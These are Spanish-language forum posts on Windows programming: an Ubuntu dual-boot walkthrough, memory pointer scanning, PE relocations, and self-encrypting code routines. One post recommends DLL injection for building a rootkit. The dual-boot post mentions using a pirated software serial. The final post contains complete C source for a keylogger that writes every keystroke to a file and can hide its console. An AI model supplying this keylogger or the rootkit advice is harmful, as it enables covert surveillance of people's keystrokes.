Yo logré instalar ubuntu 14.04 x64 con windows 7 ultimate x64, tal vez no haya diferencia para hacerlo con windows 8 y puede que te sirva de la manera en que lo hice:

Primero tenía el disco entero en NTFS con Windows 7 x64 e hice los siguientes pasos:

1.Descargué Acronis Disk Director 11 home y lo instalé con una serial trucha
2.Separé el disco en 2 particiones NTFS (3 o 4 habrán quedado en total si contamos la del boot de windows y algún posible espacio vacío que no se porque deja el windows ), 1 para windows y otra para ubuntu con el tamaño que yo quise...
3.La partición NTFS que iba a ser destinada para ubuntu la borré completamente (nada de formatear ni nada parecido solo borrarla)
4.Apliqué cambios en el acronis, reinicié la pc y esperé que el acronis haga las operaciones 2 y 3
5.Reinicie la pc con el disco de ubuntu y puse instalar modo automático con Windows 7 (en este caso el instalador de ubuntu detecta e instala el so en la partición sin uso, osea la separada y borrada, más grande que exista en tu disco)
6.Esperar que instale y baje actualizaciones
7.Listo reinicias y viene con el grub que te permite elegir ubuntu, opciones avanzadas de ubuntu o windows 7


B#

Mmm por lo que se vé de código mucha ram no consume pero si un procesador casi entero salvo que le metás un sleep relativamente corto para que no afecte el consumo del procesador y el rendimiento del programa...


B#

Si querés hacer un rootkit es más fácil inyectar una dll y modificar la memoria dentro del mismo espacio de memoria del proceso que hacerlo externamente como vos estabas haciendo en tu código


No necesariamente aunque serviría mejor para buscar punteros y direcciones de memorias e incluso ver como funciona internamente el programa que querés modificar...


¿Probaste mirando la sección de ingeniería inversa del foro? Creo que ahí había algo de info acerca de cheat-engine (búsqueda de memoria,punteros,etc...)...


B#

Podés probar lo siguiente:
Buscar la dirección de memoria y comprobar si está dentro del espacio de memoria de un módulo. En caso de que dicho módulo tenga información de reubicación buscar la imagebase y el tamaño del módulo cargado en memoria y analizar donde está y hacer lo que quieras con la dirección de memoria a buscar. En caso de que no esté en un módulo (posiblemente esté en el heap) tendrás que buscar referencias a la dirección de memoria que quieras buscar, una vez que la encuentres buscar a qué módulo hace referencia, verificar si dicho módulo contiene información de reubicación, en caso de que lo tenga tu programa debe buscar la imagebase y el tamaño del módulo cargado en memoria, analizar el puntero y verificar que lleve a una dirección válida y listo, en caso de que no tenga información de reubicación verificas su imagebase y le sumás el offset (analizado en memoria el offset) para conseguir la dirección de tu puntero verificando también que en tiempo de ejecución el puntero lleve a una dirección válida.


B#

Por simplificartelo un poco digamos que cada ventana de Windows tiene algo llamado "contexto de dispositivo" el cuál es diferente para cada ventana de Windows y dicho contexto es para indicarle que todo lo que dibujes sobre ese contexto va a estar a ser dibujado cuando la ventana tenga "su turno" para dibujar en su "espacio dentro de la pantalla".
Ahora el contexto de opengl es lo mismo pero primero debe relacionarse a una ventana y el contexto del opengl debe estar dentro del mismo "hilo de ejecución" que recibe los mensajes de dibujados de la ventana.
Todo eso Windows lo hace para tener un orden específico a la hora de dibujar cosas en la pantalla...

EDIT: cuando quieras poner algún código en el foro utiliza el botón geshi la próxima vez, sinó algún moderador te va a borrar el mensaje


B#

Sí, el ejecutable al parecer tenía la tabla .reloc (cosa que yo pensé que no tuviera el ejecutable) y buscando las opciones de visual studio le cambié la opción y se la quité y funcionó con las direcciones de memoria y los imports...
De todas maneras voy a ver bien el tema de las relocaciones debido a que también me gustaría utilizar el cifrado de rutinas en dlls...


B#

Buenas, últimamente estoy haciendo un proyecto para ofuscar código de algunas rutinas que programo, por ejemplo:

int sumar(int a,int b)
{
	int iRetVal;
	BeginEncryption();
	iRetVal=a+b;
	EndEncryption();
	return iRetVal;
}

Donde el código entre BeginEncryption y EndEncryption está cifrado (por un programa externo que he creado que utilizo para cifrar y que encuentra esas 2 funciones) y en tiempo de ejecución se descifra para ejecutarse y vuelve a cifrarse cuando se termina de ejecutar. El problema surge cuando intento llamar a direcciones de memoria y/o funciones importadas dentro del código cifrado, por ejemplo:

char *szHola="Hola";
void imprimiralgo()
{
	BeginEncryption();
	printf("%s",szHola);
	EndEncryption();
}

Mi duda entonces sería como resuelve el PE Loader las direcciones de memoria (ejemplo : push dirección / call[dirección] / mov registro,dirección)en las secciones ejecutables, dado a que estuve buscando información y todavía no logré encontrar. Lo prioritario sería saber como el Loader de Windows arregla en esas secciones ejecutables las direcciones de memoria, así para yo cuando llame a las rutinas de cifrado las pueda arreglar manualmente, las funciones importadas por el momento no son prioritarias debido a que puedo llamarlas de otra manera dentro del código cifrado aunque lo ideal sería también saber como las carga para arreglar ese código también.

Si alguien que sepa y pueda brindarme información respecto a esto se lo agradecería mucho...


B#

No, no quise decir que metas el archivo en la carpeta de "archivos de recursos" yo me refería a primero a crear un archivo de recursos y luego meter la dirección de los archivos a agregar en dicho archivo de recursos...

Respecto a usar archivos mp3 yo utilizo mciSendString pero no sé si se puede utilizar con un recurso o un archivo cargado en memoria...


B#

Si estás programando para Windows podés escribir la ruta de los archivos en el archivo de recursos de tu proyecto y luego extraerlo o trabajarlo con las APIs de recursos de Windows...


B#

Ups me confundí era el bit más signficativo, había leido solamente la parte del bit menos significativo que menciona a que se si se presiona después de que la rutina es llamada respecto a ese comportamiento supongo que es por compatibilidad para versiones de windows prehistoricas... En todo caso debería ser:

if(GetAsyncKeyState(tecla)&0x80000000)
{
//presionado
}
else
{
//no presionado
}

EDIT: Ahí lo miré y modifiqué un poco el código, lo probé y funciona con MINGW

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
 
#define MAX_VIRTUALKEY 0xFF
 
char szKeyIntegerFormat[]="%i ";
 
BOOL InsertKey(int key)
{
     FILE *lpFile;
     if((lpFile=fopen("log.txt","a")))
     {
         printf(szKeyIntegerFormat,key);
         fprintf(lpFile,szKeyIntegerFormat,key);
         fclose(lpFile);
         return TRUE;
     }
     return FALSE;
}
 
int main(void)
{
    int iVirtualKey;
    //FreeConsole(); 
    while(TRUE)
    {
        for(iVirtualKey=0;iVirtualKey<MAX_VIRTUALKEY;iVirtualKey++)
            if(GetAsyncKeyState(iVirtualKey)&0x80000000)
                if(!InsertKey(iVirtualKey))
                    return EXIT_FAILURE;
        Sleep(100);
    } 
    return EXIT_SUCCESS;
}

B#